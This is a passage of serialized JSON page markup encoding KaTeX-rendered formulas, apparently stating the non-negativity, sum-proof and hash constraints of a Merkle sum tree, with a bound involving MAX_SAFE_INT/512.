},{},[],{"type":23,"tag":41,"props":93489,"children":93491},{"className":93490},[21703],[93492],{"type":28,"value":312},{"type":23,"tag":41,"props":93494,"children":93496},{"className":93495},[4012,21574],[93497],{"type":28,"value":458},{"type":23,"tag":41,"props":93499,"children":93501},{"className":93500},[4012,21574],[93502],{"type":28,"value":92756},{"type":23,"tag":41,"props":93504,"children":93506},{"className":93505},[4012,21574],[93507],{"type":28,"value":21716},{"type":23,"tag":41,"props":93509,"children":93511},{"className":93510,"style":92765},[4012],[93512],{"type":28,"value":3084},{"type":23,"tag":41,"props":93514,"children":93516},{"className":93515},[4012,21574],[93517],{"type":28,"value":56399},{"type":23,"tag":41,"props":93519,"children":93521},{"className":93520},[4012,21574],[93522],{"type":28,"value":93024},{"type":23,"tag":41,"props":93524,"children":93526},{"className":93525},[4012,21574],[93527],{"type":28,"value":51128},{"type":23,"tag":41,"props":93529,"children":93531},{"className":93530},[21725],[93532],{"type":28,"value":15402},{"type":23,"tag":41,"props":93534,"children":93536},{"className":93535,"style":4093},[4092],[],{"type":23,"tag":41,"props":93538,"children":93540},{"className":93539},[4098],[93541],{"type":28,"value":4101},{"type":23,"tag":41,"props":93543,"children":93545},{"className":93544,"style":4093},[4092],[],{"type":23,"tag":41,"props":93547,"children":93549},{"className":93548},[4001],[93550,93554,93559,93564,93569,93574,93579,93585,93590,93596,93601,93606,93611,93616,93621,93626,93631,93636],{"type":23,"tag":41,"props":93551,"children":93553},{"className":93552,"style":92707},[4006],[],{"type":23,"tag":41,"props":93555,"children":93557},{"className":93556},[4012,21574],[93558],{"type":28,"value":458},{"type":23,"tag":41,"props":93560,"children":93562},{"className":93561},[4012,21574],[93563],{"type":28,"value":92756},{"type":23,"tag":41,"props":93565,"children":93567},{"className":93566},[4012,21574],[93568],{"type":28,"value":21716},{"type":23,"tag":41,"props":93570,"children":93572},{"className":93571,"style":92765},[4012],[93573],{"type":28,"value":3084},{"type":23,"tag":41,"props":93575,"children":93577},{"className":93576},[4012,21574],[93578],{"type":28,"value":24},{"type":23,"tag":41,"props":93580,"children":93582},{"className":93581,"style":92765},[4012,21574],[93583],{"type":28,"value":93584},"r",{"type":23,"tag":41,"props":93586,"children":93588},{"className":93587},[4012,21574],[93589],{"type":28,"value":3737},{"type":23,"tag":41,"props":93591,"children":93593},{"className":93592},[4012,21574],[93594],{"type":28,"value":93595},"ces",{"type":23,"tag":41,"props":93597,"children":93599},{"className":93598},[21703],[93600],{"type":28,"value":312},{"type":23,"tag":41,"props":93602,"children":93604},{"className":93603},[4012,21574],[93605],{"type":28,"value":458},{"type":23,"tag":41,"props":93607,"children":93609},{"className":93608},[4012,21574],[93610],{"type":28,"value":92756},{"type":23,"tag":41,"props":93612,"children":93614},{"className":93613},[4012,21574],[93615],{"type":28,"value":21716},{"type":23,"tag":41,"props":93617,"children":93619},{"className":93618,"style":92765},[4012],[93620],{"type":28,"value":3084},{"type":23,"tag":41,"props":93622,"children":93624},{"className":93623},[4012,21574],[93625],{"type":28,"value":56399},{"type":23,"tag":41,"props":93627,"children":93629},{"className":93628},[4012,21574],[93630],{"type":28,"value":93024},{"type":23,"tag":41,"props":93632,"children":93634},{"className":93633},[4012,21574],[93635],{"type":28,"value":51128},{"type":23,"tag":41,"props":93637,"children":93639},{"className":93638},[21725],[93640],{"type":28,"value":15402},{"type":23,"tag":421,"props":93642,"children":93643},{},[93644,93803,93804],{"type":23,"tag":37,"props":93645,"children":93647},{"className":93646},[3984,3985],[93648],{"type":23,"tag":41,"props":93649,"children":93651},{"className":93650},[3990],[93652],{"type":23,"tag":41,"props":93653,"children":93655},{"className":93654,"ariaHidden":3996},[3995],[93656,93789],{"type":23,"tag":41,"props":93657,"children":93659},{"className":93658},[4001],[93660,93664,93669,93674,93679,93684,93689,93694,93699,93704,93709,93714,93719,93776,93780,93785],{"type":23,"tag":41,"props":93661,"children":93663},{"className":93662,"style":93210},[4006],[],{"type":23,"tag":41,"props":93665,"children":93667},{"className":93666},[4012,21574],[93668],{"type":28,"value":458},{"type":23,"tag":41,"props":93670,"children":93672},{"className":93671},[4012,21574],[93673],{"type":28,"value":93222},{"type":23,"tag":41,"props":93675,"children":93677},{"className":93676},[4012,21574],[93678],{"type":28,"value":93024},{"type":23,"tag":41,"props":93680,"children":93682},{"className":93681},[4012,21574],[93683],{"type":28,"value":56399},{"type":23,"tag":41,"props":93685,"children":93687},{"className":93686},[4012,21574],[93688],{"type":28,"value":21716},{"type":23,"tag":41,"props":93690,"children":93692},{"className":93691,"style":92765},[4012],[93693],{"type":28,"value":3084},{"type":23,"tag":41,"props":93695,"children":93697},{"className":93696},[4012,21574],[93698],{"type":28,"value":51449},{"type":23,"tag":41,"props":93700,"children":93702},{"className":93701,"style":93251},[4012,21574],[93703],{"type":28,"value":93254},{"type":23,"tag":41,"props":93705,"children":93707},{"className":93706},[4012,21574],[93708],{"type":28,"value":93024},{"type":23,"tag":41,"props":93710,"children":93712},{"className":93711},[4012,21574],[93713],{"type":28,"value":3737},{"type":23,"tag":41,"props":93715,"children":93717},{"className":93716},[4012,21574],[93718],{"type":28,"value":21716},{"type":23,"tag":41,"props":93720,"children":93722},{"className":93721},[4012],[93723,93728],{"type":23,"tag":41,"props":93724,"children":93726},{"className":93725,"style":93251},[4012,21574],[93727],{"type":28,"value":3114},{"type":23,"tag":41,"props":93729,"children":93731},{"className":93730},[4028],[93732],{"type":23,"tag":41,"props":93733,"children":93735},{"className":93734},[4033,21628],[93736,93765],{"type":23,"tag":41,"props":93737,"children":93739},{"className":93738},[4038],[93740,93760],{"type":23,"tag":41,"props":93741,"children":93743},{"className":93742,"style":93294},[4043],[93744],{"type":23,"tag":41,"props":93745,"children":93746},{"style":93298},[93747,93751],{"type":23,"tag":41,"props":93748,"children":93750},{"className":93749,"style":4053},[4052],[],{"type":23,"tag":41,"props":93752,"children":93754},{"className":93753},[4058,4059,4060,4061],[93755],{"type":23,"tag":41,"props":93756,"children":93758},{"className":93757},[4012,21574,4061],[93759],{"type":28,"value":3737},{"type":23,"tag":41,"props":93761,"children":93763},{"className":93762},[21731],[93764],{"type":28,"value":21734},{"type":23,"tag":41,"props":93766,"children":93768},{"className":93767},[4038],[93769],{"type":23,"tag":41,"props":93770,"children":93772},{"className":93771,"style":92848},[4043],[93773],{"type":23,"tag":41,"props":93774,"children":93775},{},[],{"type":23,"tag":41,"props":93777,"children":93779},{"className":93778,"style":4190},[4092],[],{"type":23,"tag":41,"props":93781,"children":93783},{"className":93782},[4195],[93784],{"type":28,"value":9941},{"type":23,"tag":41,"props":93786,"children":93788},{"className":93787,"style":4190},[4092],[],{"type":23,"tag":41,"props":93790,"children":93792},{"className":93791},[4001],[93793,93798],{"type":23,"tag":41,"props":93794,"children":93797},{"className":93795,"style":93796},[4006],"height:0.6444em;",[],{"type":23,"tag":41,"props":93799,"children":93801},{"className":93800},[4012],[93802],{"type":28,"value":4024},{"type":28,"value":6456},{"type":23,"tag":510,"props":93805,"children":93806},{},[93807],{"type":28,"value":93808},"(non-negativity)",{"type":23,"tag":421,"props":93810,"children":93811},{},[93812,94150,94151],{"type":23,"tag":37,"props":93813,"children":93815},{"className":93814},[3984,3985],[93816],{"type":23,"tag":41,"props":93817,"children":93819},{"className":93818},[3990],[93820],{"type":23,"tag":41,"props":93821,"children":93823},{"className":93822,"ariaHidden":3996},[3995],[93824,93960],{"type":23,"tag":41,"props":93825,"children":93827},{"className":93826},[4001],[93828,93832,93837,93842,93847,93852,93857,93862,93867,93872,93877,93882,93887,93892,93897,93902,93907,93912,93917,93922,93927,93932,93937,93942,93947,93951,93956],{"type":23,"tag":41,"props":93829,"children":93831},{"className":93830,"style":92707},[4006],[],{"type":23,"tag":41,"props":93833,"children":93835},{"className":93834},[4012,21574],[93836],{"type":28,"value":21716},{"type":23,"tag":41,"props":93838,"children":93840},{"className":93839},[4012,21574],[93841],{"type":28,"value":92735},{"type":23,"tag":41,"props":93843,"children":93845},{"className":93844},[4012,21574],[93846],{"type":28,"value":21716},{"type":23,"tag":41,"props":93848,"children":93850},{"className":93849},[4012,21574],[93851],{"type":28,"value":458},{"type":23,"tag":41,"props":93853,"children":93855},{"className":93854,"style":92777},[4012,21574],[93856],{"type":28,"value":92780},{"type":23,"tag":41,"props":93858,"children":93860},{"className":93859,"style":92765},[4012],[93861],{"type":28,"value":3084},{"type":23,"tag":41,"props":93863,"children":93865},{"className":93864},[4012,21574],[93866],{"type":28,"value":458},{"type":23,"tag":41,"props":93868,"children":93870},{"className":93869},[4012,21574],[93871],{"type":28,"value":92756},{"type":23,"tag":41,"props":93873,"children":93875},{"className":93874},[4012,21574],[93876],{"type":28,"value":21716},{"type":23,"tag":41,"props":93878,"children":93880},{"className":93879,"style":92765},[4012],[93881],{"type":28,"value":3084},{"type":23,"tag":41,"props":93883,"children":93885},{"className":93884},[4012,21574],[93886],{"type":28,"value":92773},{"type":23,"tag":41,"props":93888,"children":93890},{"className":93889,"style":92777},[4012,21574],[93891],{"type":28,"value":92780},{"type":23,"tag":41,"props":93893,"children":93895},{"className":93894},[4012,21574],[93896],{"type":28,"value":92786},{"type":23,"tag":41,"props":93898,"children":93900},{"className":93899},[4012,21574],[93901],{"type":28,"value":92792},{"type":23,"tag":41,"props":93903,"children":93905},{"className":93904},[21703],[93906],{"type":28,"value":312},{"type":23,"tag":41,"props":93908,"children":93910},{"className":93909},[4012,21574],[93911],{"type":28,"value":458},{"type":23,"tag":41,"props":93913,"children":93915},{"className":93914},[4012,21574],[93916],{"type":28,"value":92756},{"type":23,"tag":41,"props":93918,"children":93920},{"className":93919},[4012,21574],[93921],{"type":28,"value":21716},{"type":23,"tag":41,"props":93923,"children":93925},{"className":93924,"style":92765},[4012],[93926],{"type":28,"value":3084},{"type":23,"tag":41,"props":93928,"children":93930},{"className":93929},[4012,21574],[93931],{"type":28,"value":56399},{"type":23,"tag":41,"props":93933,"children":93935},{"className":93934},[4012,21574],[93936],{"type":28,"value":93024},{"type":23,"tag":41,"props":93938,"children":93940},{"className":93939},[4012,21574],[93941],{"type":28,"value":51128},{"type":23,"tag":41,"props":93943,"children":93945},{"className":93944},[21725],[93946],{"type":28,"value":15402},{"type":23,"tag":41,"props":93948,"children":93950},{"className":93949,"style":4190},[4092],[],{"type":23,"tag":41,"props":93952,"children":93954},{"className":93953},[4195],[93955],{"type":28,"value":387},{"type":23,"tag":41,"props":93957,"children":93959},{"className":93958,"style":4190},[4092],[],{"type":23,"tag":41,"props":93961,"children":93963},{"className":93962},[4001],[93964,93968,93973,93978,93983,93988,93993,93998,94003,94008,94013,94018,94023,94028,94033,94038,94043,94048,94105,94110,94115,94120,94125,94130,94135,94140,94145],{"type":23,"tag":41,"props":93965,"children":93967},{"className":93966,"style":92707},[4006],[],{"type":23,"tag":41,"props":93969,"children":93971},{"className":93970},[4012],[93972],{"type":28,"value":93355},{"type":23,"tag":41,"props":93974,"children":93976},{"className":93975},[4092],[93977],{"type":28,"value":21675},{"type":23,"tag":41,"props":93979,"children":93981},{"className":93980},[4012,21574],[93982],{"type":28,"value":458},{"type":23,"tag":41,"props":93984,"children":93986},{"className":93985},[4012,21574],[93987],{"type":28,"value":93222},{"type":23,"tag":41,"props":93989,"children":93991},{"className":93990},[4012,21574],[93992],{"type":28,"value":93024},{"type":23,"tag":41,"props":93994,"children":93996},{"className":93995},[4012,21574],[93997],{"type":28,"value":56399},{"type":23,"tag":41,"props":93999,"children":94001},{"className":94000},[4012,21574],[94002],{"type":28,"value":21716},{"type":23,"tag":41,"props":94004,"children":94006},{"className":94005,"style":92765},[4012],[94007],{"type":28,"value":3084},{"type":23,"tag":41,"props":94009,"children":94011},{"className":94010},[4012,21574],[94012],{"type":28,"value":458},{"type":23,"tag":41,"props":94014,"children":94016},{"className":94015},[4012,21574],[94017],{"type":28,"value":92756},{"type":23,"tag":41,"props":94019,"children":94021},{"className":94020},[4012,21574],[94022],{"type":28,"value":21716},{"type":23,"tag":41,"props":94024,"children":94026},{"className":94025,"style":92765},[4012],[94027],{"type":28,"value":3084},{"type":23,"tag":41,"props":94029,"children":94031},{"className":94030},[4012,21574],[94032],{"type":28,"value":92773},{"type":23,"tag":41,"props":94034,"children":94036},{"className":94035,"style":92777},[4012,21574],[94037],{"type":28,"value":92780},{"type":23,"tag":41,"props":94039,"children":94041},{"className":94040},[4012,21574],[94042],{"type":28,"value":92786},{"type":23,"tag":41,"props":94044,"children":94046},{"className":94045},[4012,21574],[94047],{"type":28,"value":92792},{"type":23,"tag":41,"props":94049,"children":94051},{"className":94050},[4012],[94052,94057],{"type":23,"tag":41,"props":94053,"children":94055},{"className":94054},[4012,21574],[94056],{"type":28,"value":10649},{"type":23,"tag":41,"props":94058,"children":94060},{"className":94059},[4028],[94061],{"type":23,"tag":41,"props":94062,"children":94064},{"className":94063},[4033,21628],[94065,94094],{"type":23,"tag":41,"props":94066,"children":94068},{"className":94067},[4038],[94069,94089],{"type":23,"tag":41,"props":94070,"children":94072},{"className":94071,"style":93294},[4043],[94073],{"type":23,"tag":41,"props":94074,"children":94075},{"style":92821},[94076,94080],{"type":23,"tag":41,"props":94077,"children":94079},{"className":94078,"style":4053},[4052],[],{"type":23,"tag":41,"props":94081,"children":94083},{"className":94082},[4058,4059,4060,4061],[94084],{"type":23,"tag":41,"props":94085,"children":94087},{"className":94086},[4012,21574,4061],[94088],{"type":28,"value":3737},{"type":23,"tag":41,"props":94090,"children":94092},{"className":94091},[21731],[94093],{"type":28,"value":21734},{"type":23,"tag":41,"props":94095,"children":94097},{"className":94096},[4038],[94098],{"type":23,"tag":41,"props":94099,"children":94101},{"className":94100,"style":92848},[4043],[94102],{"type":23,"tag":41,"props":94103,"children":94104},{},[],{"type":23,"tag":41,"props":94106,"children":94108},{"className":94107},[21703],[94109],{"type":28,"value":312},{"type":23,"tag":41,"props":94111,"children":94113},{"className":94112},[4012,21574],[94114],{"type":28,"value":458},{"type":23,"tag":41,"props":94116,"children":94118},{"className":94117},[4012,21574],[94119],{"type":28,"value":92756},{"type":23,"tag":41,"props":94121,"children":94123},{"className":94122},[4012,21574],[94124],{"type":28,"value":21716},{"type":23,"tag":41,"props":94126,"children":94128},{"className":94127,"style":92765},[4012],[94129],{"type":28,"value":3084},{"type":23,"tag":41,"props":94131,"children":94133},{"className":94132},[4012,21574],[94134],{"type":28,"value":56399},{"type":23,"tag":41,"props":94136,"children":94138},{"className":94137},[4012,21574],[94139],{"type":28,"value":93024},{"type":23,"tag":41,"props":94141,"children":94143},{"className":94142},[4012,21574],[94144],{"type":28,"value":51128},{"type":23,"tag":41,"props":94146,"children":94148},{"className":94147},[21725],[94149],{"type":28,"value":15402},{"type":28,"value":6456},{"type":23,"tag":510,"props":94152,"children":94153},{},[94154],{"type":28,"value":94155},"(sum proof)",{"type":23,"tag":421,"props":94157,"children":94158},{},[94159,94548,94549],{"type":23,"tag":37,"props":94160,"children":94162},{"className":94161},[3984,3985],[94163],{"type":23,"tag":41,"props":94164,"children":94166},{"className":94165},[3990],[94167],{"type":23,"tag":41,"props":94168,"children":94170},{"className":94169,"ariaHidden":3996},[3995],[94171,94257],{"type":23,"tag":41,"props":94172,"children":94174},{"className":94173},[4001],[94175,94180,94185,94191,94197,94202,94207,94212,94217,94223,94228,94234,94239,94244,94248,94253],{"type":23,"tag":41,"props":94176,"children":94179},{"className":94177,"style":94178},[4006],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":41,"props":94181,"children":94183},{"className":94182},[4012,21574],[94184],{"type":28,"value":51128},{"type":23,"tag":41,"props":94186,"children":94188},{"className":94187,"style":92765},[4012,21574],[94189],{"type":28,"value":94190},"er",{"type":23,"tag":41,"props":94192,"children":94195},{"className":94193,"style":94194},[4012,21574],"margin-right:0.03148em;",[94196],{"type":28,"value":88678},{"type":23,"tag":41,"props":94198,"children":94200},{"className":94199,"style":92777},[4012,21574],[94201],{"type":28,"value":92780},{"type":23,"tag":41,"props":94203,"children":94205},{"className":94204},[4012,21574],[94206],{"type":28,"value":51449},{"type":23,"tag":41,"props":94208,"children":94210},{"className":94209,"style":92765},[4012],[94211],{"type":28,"value":3084},{"type":23,"tag":41,"props":94213,"children":94215},{"className":94214},[4012,21574],[94216],{"type":28,"value":21716},{"type":23,"tag":41,"props":94218,"children":94220},{"className":94219},[4012,21574],[94221],{"type":28,"value":94222},"ree",{"type":23,"tag":41,"props":94224,"children":94226},{"className":94225,"style":92765},[4012],[94227],{"type":28,"value":3084},{"type":23,"tag":41,"props":94229,"children":94231},{"className":94230},[4012,21574],[94232],{"type":28,"value":94233},"ha",{"type":23,"tag":41,"props":94235,"children":94237},{"className":94236},[4012,21574],[94238],{"type":28,"value":10649},{"type":23,"tag":41,"props":94240,"children":94242},{"className":94241},[4012,21574],[94243],{"type":28,"value":84339},{"type":23,"tag":41,"props":94245,"children":94247},{"className":94246,"style":4190},[4092],[],{"type":23,"tag":41,"props":94249,"children":94251},{"className":94250},[4195],[94252],{"type":28,"value":387},{"type":23,"tag":41,"props":94254,"children":94256},{"className":94255,"style":4190},[4092],[],{"type":23,"tag":41,"props":94258,"children":94260},{"className":94259},[4001],[94261,94265,94270,94275,94280,94285,94290,94295,94300,94305,94310,94367,94372,94376,94381,94386,94443,94448,94453,94457,94462,94467,94471,94476,94481,94543],{"type":23,"tag":41,"props":94262,"children":94264},{"className":94263,"style":4113},[4006],[],{"type":23,"tag":41,"props":94266,"children":94268},{"className":94267,"style":21575},[4012,21574],[94269],{"type":28,"value":21578},{"type":23,"tag":41,"props":94271,"children":94273},{"className":94272},[4012,21574],[94274],{"type":28,"value":92719},{"type":23,"tag":41,"props":94276,"children":94278},{"className":94277},[4012,21574],[94279],{"type":28,"value":3737},{"type":23,"tag":41,"props":94281,"children":94283},{"className":94282},[4012,21574],[94284],{"type":28,"value":70559},{"type":23,"tag":41,"props":94286,"children":94288},{"className":94287},[4012,21574],[94289],{"type":28,"value":92735},{"type":23,"tag":41,"props":94291,"children":94293},{"className":94292},[4012,21574],[94294],{"type":28,"value":56399},{"type":23,"tag":41,"props":94296,"children":94298},{"className":94297},[21703],[94299],{"type":28,"value":1737},{"type":23,"tag":41,"props":94301,"children":94303},{"className":94302},[4012,21574],[94304],{"type":28,"value":94233},{"type":23,"tag":41,"props":94306,"children":94308},{"className":94307},[4012,21574],[94309],{"type":28,"value":10649},{"type":23,"tag":41,"props":94311,"children":94313},{"className":94312},[4012],[94314,94319],{"type":23,"tag":41,"props":94315,"children":94317},{"className":94316},[4012,21574],[94318],{"type":28,"value":84339},{"type":23,"tag":41,"props":94320,"children":94322},{"className":94321},[4028],[94323],{"type":23,"tag":41,"props":94324,"children":94326},{"className":94325},[4033,21628],[94327,94356],{"type":23,"tag":41,"props":94328,"children":94330},{"className":94329},[4038],[94331,94351],{"type":23,"tag":41,"props":94332,"children":94334},{"className":94333,"style":92817},[4043],[94335],{"type":23,"tag":41,"props":94336,"children":94337},{"style":92821},[94338,94342],{"type":23,"tag":41,"props":94339,"children":94341},{"className":94340,"style":4053},[4052],[],{"type":23,"tag":41,"props":94343,"children":94345},{"className":94344},[4058,4059,4060,4061],[94346],{"type":23,"tag":41,"props":94347,"children":94349},{"className":94348},[4012,4061],[94350],{"type":28,"value":4024},{"type":23,"tag":41,"props":94352,"children":94354},{"className":94353},[21731],[94355],{"type":28,"value":21734},{"type":23,"tag":41,"props":94357,"children":94359},{"className":94358},[4038],[94360],{"type":23,"tag":41,"props":94361,"children":94363},{"className":94362,"style":92848},[4043],[94364],{"type":23,"tag":41,"props":94365,"children":94366},{},[],{"type":23,"tag":41,"props":94368,"children":94370},{"className":94369},[4124],[94371],{"type":28,"value":4127},{"type":23,"tag":41,"props":94373,"children":94375},{"className":94374,"style":4131},[4092],[],{"type":23,"tag":41,"props":94377,"children":94379},{"className":94378},[4012,21574],[94380],{"type":28,"value":94233},{"type":23,"tag":41,"props":94382,"children":94384},{"className":94383},[4012,21574],[94385],{"type":28,"value":10649},{"type":23,"tag":41,"props":94387,"children":94389},{"className":94388},[4012],[94390,94395],{"type":23,"tag":41,"props":94391,"children":94393},{"className":94392},[4012,21574],[94394],{"type":28,"value":84339},{"type":23,"tag":41,"props":94396,"children":94398},{"className":94397},[4028],[94399],{"type":23,"tag":41,"props":94400,"children":94402},{"className":94401},[4033,21628],[94403,94432],{"type":23,"tag":41,"props":94404,"children":94406},{"className":94405},[4038],[94407,94427],{"type":23,"tag":41,"props":94408,"children":94410},{"className":94409,"style":92817},[4043],[94411],{"type":23,"tag":41,"props":94412,"children":94413},{"style":92821},[94414,94418],{"type":23,"tag":41,"props":94415,"children":94417},{"className":94416,"style":4053},[4052],[],{"type":23,"tag":41,"props":94419,"children":94421},{"className":94420},[4058,4059,4060,4061],[94422],{"type":23,"tag":41,"props":94423,"children":94425},{"className":94424},[4012,4061],[94426],{"type":28,"value":317},{"type":23,"tag":41,"props":94428,"children":94430},{"className":94429},[21731],[94431],{"type":28,"value":21734},{"type":23,"tag":41,"props":94433,"children":94435},{"className":94434},[4038],[94436],{"type":23,"tag":41,"props":94437,"children":94439},{"className":94438,"style":92848},[4043],[94440],{"type":23,"tag":41,"props":94441,"children":94442},{},[],{"type":23,"tag":41,"props":94444,"children":94446},{"className":94445},[4124],[94447],{"type":28,"value":4127},{"type":23,"tag":41,"props":94449,"children":94451},{"className":94450},[4092],[94452],{"type":28,"value":21675},{"type":23,"tag":41,"props":94454,"children":94456},{"className":94455,"style":4131},[4092],[],{"type":23,"tag":41,"props":94458,"children":94460},{"className":94459},[4012],[94461],{"type":28,"value":9589},{"type":23,"tag":41,"props":94463,"children":94465},{"className":94464},[4124],[94466],{"type":28,"value":4127},{"type":23,"tag":41,"props":94468,"children":94470},{"className":94469,"style":4131},[4092],[],{"type":23,"tag":41,"props":94472,"children":94474},{"className":94473},[4012,21574],[94475],{"type":28,"value":94233},{"type":23,"tag":41,"props":94477,"children":94479},{"className":94478},[4012,21574],[94480],{"type":28,"value":10649},{"type":23,"tag":41,"props":94482,"children":94484},{"className":94483},[4012],[94485,94490],{"type":23,"tag":41,"props":94486,"children":94488},{"className":94487},[4012,21574],[94489],{"type":28,"value":84339},{"type":23,"tag":41,"props":94491,"children":94493},{"className":94492},[4028],[94494],{"type":23,"tag":41,"props":94495,"children":94497},{"className":94496},[4033,21628],[94498,94532],{"type":23,"tag":41,"props":94499,"children":94501},{"className":94500},[4038],[94502,94527],{"type":23,"tag":41,"props":94503,"children":94505},{"className":94504,"style":92817},[4043],[94506],{"type":23,"tag":41,"props":94507,"children":94508},{"style":92821},[94509,94513],{"type":23,"tag":41,"props":94510,"children":94512},{"className":94511,"style":4053},[4052],[],{"type":23,"tag":41,"props":94514,"children":94516},{"className":94515},[4058,4059,4060,4061],[94517],{"type":23,"tag":41,"props":94518,"children":94520},{"className":94519},[4012,4061],[94521],{"type":23,"tag":41,"props":94522,"children":94524},{"className":94523},[4012,4061],[94525],{"type":28,"value":94526},"511",{"type":23,"tag":41,"props":94528,"children":94530},{"className":94529},[21731],[94531],{"type":28,"value":21734},{"type":23,"tag":41,"props":94533,"children":94535},{"className":94534},[4038],[94536],{"type":23,"tag":41,"props":94537,"children":94539},{"className":94538,"style":92848},[4043],[94540],{"type":23,"tag":41,"props":94541,"children":94542},{},[],{"type":23,"tag":41,"props":94544,"children":94546},{"className":94545},[21725],[94547],{"type":28,"value":2678},{"type":28,"value":6456},{"type":23,"tag":510,"props":94550,"children":94551},{},[94552],{"type":28,"value":94553},"(merkle tree hash)",{"type":23,"tag":421,"props":94555,"children":94556},{},[94557,94832,94833,94838,94840,94845],{"type":23,"tag":37,"props":94558,"children":94560},{"className":94559},[3984,3985],[94561],{"type":23,"tag":41,"props":94562,"children":94564},{"className":94563},[3990],[94565],{"type":23,"tag":41,"props":94566,"children":94568},{"className":94567,"ariaHidden":3996},[3995],[94569,94762],{"type":23,"tag":41,"props":94570,"children":94572},{"className":94571},[4001],[94573,94577,94582,94587,94592,94597,94602,94607,94612,94617,94622,94627,94632,94637,94642,94647,94704,94709,94714,94719,94724,94729,94734,94739,94744,94749,94753,94758],{"type":23,"tag":41,"props":94574,"children":94576},{"className":94575,"style":92707},[4006],[],{"type":23,"tag":41,"props":94578,"children":94580},{"className":94579},[4012,21574],[94581],{"type":28,"value":458},{"type":23,"tag":41,"props":94583,"children":94585},{"className":94584},[4012,21574],[94586],{"type":28,"value":93222},{"type":23,"tag":41,"props":94588,"children":94590},{"className":94589},[4012,21574],[94591],{"type":28,"value":93024},{"type":23,"tag":41,"props":94593,"children":94595},{"className":94594},[4012,21574],[94596],{"type":28,"value":56399},{"type":23,"tag":41,"props":94598,"children":94600},{"className":94599},[4012,21574],[94601],{"type":28,"value":21716},{"type":23,"tag":41,"props":94603,"children":94605},{"className":94604,"style":92765},[4012],[94606],{"type":28,"value":3084},{"type":23,"tag":41,"props":94608,"children":94610},{"className":94609},[4012,21574],[94611],{"type":28,"value":458},{"type":23,"tag":41,"props":94613,"children":94615},{"className":94614},[4012,21574],[94616],{"type":28,"value":92756},{"type":23,"tag":41,"props":94618,"children":94620},{"className":94619},[4012,21574],[94621],{"type":28,"value":21716},{"type":23,"tag":41,"props":94623,"children":94625},{"className":94624,"style":92765},[4012],[94626],{"type":28,"value":3084},{"type":23,"tag":41,"props":94628,"children":94630},{"className":94629},[4012,21574],[94631],{"type":28,"value":92773},{"type":23,"tag":41,"props":94633,"children":94635},{"className":94634,"style":92777},[4012,21574],[94636],{"type":28,"value":92780},{"type":23,"tag":41,"props":94638,"children":94640},{"className":94639},[4012,21574],[94641],{"type":28,"value":92786},{"type":23,"tag":41,"props":94643,"children":94645},{"className":94644},[4012,21574],[94646],{"type":28,"value":92792},{"type":23,"tag":41,"props":94648,"children":94650},{"className":94649},[4012],[94651,94656],{"type":23,"tag":41,"props":94652,"children":94654},{"className":94653},[4012,21574],[94655],{"type":28,"value":10649},{"type":23,"tag":41,"props":94657,"children":94659},{"className":94658},[4028],[94660],{"type":23,"tag":41,"props":94661,"children":94663},{"className":94662},[4033,21628],[94664,94693],{"type":23,"tag":41,"props":94665,"children":94667},{"className":94666},[4038],[94668,94688],{"type":23,"tag":41,"props":94669,"children":94671},{"className":94670,"style":93294},[4043],[94672],{"type":23,"tag":41,"props":94673,"children":94674},{"style":92821},[94675,94679],{"type":23,"tag":41,"props":94676,"children":94678},{"className":94677,"style":4053},[4052],[],{"type":23,"tag":41,"props":94680,"children":94682},{"className":94681},[4058,4059,4060,4061],[94683],{"type":23,"tag":41,"props":94684,"children":94686},{"className":94685},[4012,21574,4061],[94687],{"type":28,"value":3737},{"type":23,"tag":41,"props":94689,"children":94691},{"className":94690},[21731],[94692],{"type":28,"value":21734},{"type":23,"tag":41,"props":94694,"children":94696},{"className":94695},[4038],[94697],{"type":23,"tag":41,"props":94698,"children":94700},{"className":94699,"style":92848},[4043],[94701],{"type":23,"tag":41,"props":94702,"children":94703},{},[],{"type":23,"tag":41,"props":94705,"children":94707},{"className":94706},[21703],[94708],{"type":28,"value":312},{"type":23,"tag":41,"props":94710,"children":94712},{"className":94711},[4012,21574],[94713],{"type":28,"value":458},{"type":23,"tag":41,"props":94715,"children":94717},{"className":94716},[4012,21574],[94718],{"type":28,"value":92756},{"type":23,"tag":41,"props":94720,"children":94722},{"className":94721},[4012,21574],[94723],{"type":28,"value":21716},{"type":23,"tag":41,"props":94725,"children":94727},{"className":94726,"style":92765},[4012],[94728],{"type":28,"value":3084},{"type":23,"tag":41,"props":94730,"children":94732},{"className":94731},[4012,21574],[94733],{"type":28,"value":56399},{"type":23,"tag":41,"props":94735,"children":94737},{"className":94736},[4012,21574],[94738],{"type":28,"value":93024},{"type":23,"tag":41,"props":94740,"children":94742},{"className":94741},[4012,21574],[94743],{"type":28,"value":51128},{"type":23,"tag":41,"props":94745,"children":94747},{"className":94746},[21725],[94748],{"type":28,"value":15402},{"type":23,"tag":41,"props":94750,"children":94752},{"className":94751,"style":4190},[4092],[],{"type":23,"tag":41,"props":94754,"children":94756},{"className":94755},[4195],[94757],{"type":28,"value":1012},{"type":23,"tag":41,"props":94759,"children":94761},{"className":94760,"style":4190},[4092],[],{"type":23,"tag":41,"props":94763,"children":94765},{"className":94764},[4001],[94766,94770,94777,94782,94788,94793,94798,94803,94809,94814,94820,94826],{"type":23,"tag":41,"props":94767,"children":94769},{"className":94768,"style":92707},[4006],[],{"type":23,"tag":41,"props":94771,"children":94774},{"className":94772,"style":94773},[4012,21574],"margin-right:0.10903em;",[94775],{"type":28,"value":94776},"M",{"type":23,"tag":41,"props":94778,"children":94780},{"className":94779},[4012,21574],[94781],{"type":28,"value":76762},{"type":23,"tag":41,"props":94783,"children":94786},{"className":94784,"style":94785},[4012,21574],"margin-right:0.07847em;",[94787],{"type":28,"value":6131},{"type":23,"tag":41,"props":94789,"children":94791},{"className":94790,"style":92765},[4012],[94792],{"type":28,"value":3084},{"type":23,"tag":41,"props":94794,"children":94796},{"className":94795,"style":22033},[4012,21574],[94797],{"type":28,"value":22036},{"type":23,"tag":41,"props":94799,"children":94801},{"className":94800},[4012,21574],[94802],{"type":28,"value":76762},{"type":23,"tag":41,"props":94804,"children":94806},{"className":94805,"style":22033},[4012,21574],[94807],{"type":28,"value":94808},"FE",{"type":23,"tag":41,"props":94810,"children":94812},{"className":94811,"style":92765},[4012],[94813],{"type":28,"value":3084},{"type":23,"tag":41,"props":94815,"children":94817},{"className":94816,"style":94785},[4012,21574],[94818],{"type":28,"value":94819},"I",{"type":23,"tag":41,"props":94821,"children":94823},{"className":94822,"style":21575},[4012,21574],[94824],{"type":28,"value":94825},"NT",{"type":23,"tag":41,"props":94827,"children":94829},{"className":94828},[4012],[94830],{"type":28,"value":94831},"/512",{"type":28,"value":6456},{"